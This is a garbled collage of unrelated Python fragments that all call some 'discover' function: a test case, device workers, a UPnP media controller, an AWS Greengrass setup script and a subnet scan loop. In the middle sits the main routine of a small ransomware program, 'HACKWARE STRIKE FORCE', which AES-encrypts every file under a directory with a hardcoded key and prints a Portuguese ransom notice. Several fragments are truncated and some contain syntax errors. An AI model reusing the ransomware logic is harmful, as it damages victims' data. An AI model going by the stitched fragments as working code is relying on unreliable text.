def testDiscoveryIntegration(self):
"""Tests basic integration with external discovery service."""
# Fails due to this bug:
# http://code.google.com/p/webfingerclient-dclinton/issues/detail?id=2
# s = discovery.discover('*****@*****.**')
# self.assertEquals(s,None)
s = discovery.discover("*****@*****.**")
self.assertNotEqual(s, None)
def start():
workers = {}
devices = discover(2)
for mac_address in devices:
if mac_address not in workers\
or not workers[mac_address]["process"].is_alive():
workers[mac_address] = {}
workers[mac_address]["queue"] = Queue()
workers[mac_address]["process"] = Process(target=device_worker,
args=(workers[mac_address]["queue"], mac_address))
workers[mac_address]["process"].start()
def main():
parser = get_parser()
args = vars(parser.parse_args())
decrypt = args['decrypt']
if decrypt:
print('''
HACKWARE STRIKE FORCE
-----------------------------------------
Os seus ficheiros foram criptogrados.
Para decriptá-los utilize a seguinte senha '{}'
'''.format(HARDCODED_KEY))
key = input('Digite a senha >')
else:
if HARDCODED_KEY:
key = HARDCODED_KEY
ctr = Counter.new(128)
crypt = AES.new(key, AES.MODE_CTR, counter=ctr)
if not decrypt:
cryptFn = crypt.encrypt
else:
cryptFn = crypt.decrypt
init_path = os.path.abspath(os.path.join(os.getcwd(), 'files'))
startDirs = [ init_path ]
for currentDir in startDirs:
for filename in discovery.discover(currentDir)
Crypter.change_files(filename, cryptFn)
# limpa achave de criptografia da memória
for _in range(100):
pass
if not decrypt:
pass
return upnp.send_command(
self._base_url + '/MediaRenderer/AVTransport/Control',
'AVTransport', 1, command, args)
def play(self):
self._issue_av_transport_command('Play')
def pause(self):
self._issue_av_transport_command('Pause')
def next(self):
self._issue_av_transport_command('Next')
def get_current_track_info(self):
response = self._issue_av_transport_command('GetPositionInfo',
[('InstanceID', 0),
('Channel', 'Master')])
if 'TrackMetaData' not in response:
# Nothing playing.
return None
print('hm')
return TrackInfo(
response['TrackMetaData'], # DIDL-Lite XML
response['TrackDuration'], # Total length
response['RelTime'] # Current position
)
if __name__ == '__main__':
print([s.get_current_track_info() for s in discovery.discover()])
config = json.load(f)
# Unpack config file
endpoint = config['endpoint']
iotCAPath = config['rootCAPath']
certificatePath = config['certificatePath']
privateKeyPath = config['privateKeyPath']
thingName = config['thingName']
clientId = config['clientId']
deviceParams = config['deviceParams']
# Run Discovery service to check which GGC to connect to, if it hasn't been run already
# Discovery talks with the IoT cloud to get the GGC CA cert and ip address
if not os.path.isfile('{}/groupCA/root-ca.crt'.format(DEVICE_PATH)):
discovery.discover(endpoint, iotCAPath, certificatePath,
privateKeyPath, clientId, DEVICE_PATH)
else:
print("Greengrass core has already been discovered.")
ggcAddrPath = '{}/{}'.format(
DEVICE_PATH, discovery.GROUP_CA_PATH + discovery.GGC_ADDR_NAME)
rootCAPath = '{}/{}'.format(DEVICE_PATH,
discovery.GROUP_CA_PATH + discovery.CA_NAME)
ggcAddr = discovery.getGGCAddr(ggcAddrPath)
print("GGC Host Address: {}".format(ggcAddr))
print("GGC Group CA Path: {}".format(rootCAPath))
print("Private Key of thing Path: {}".format(privateKeyPath))
print("Certificate of thing Path: {}".format(certificatePath))
print("Client ID (thing name): {}".format(clientId))
print("Target shadow thing ID(thing name): {}".format(thingName))
def dumps():
while True:
print discover('192.168.2.0/24', '80')
print 'Sleeping for 60 secs'
sleep(60)
def discover():
hubs = discovery.discover()
pprint(hubs)
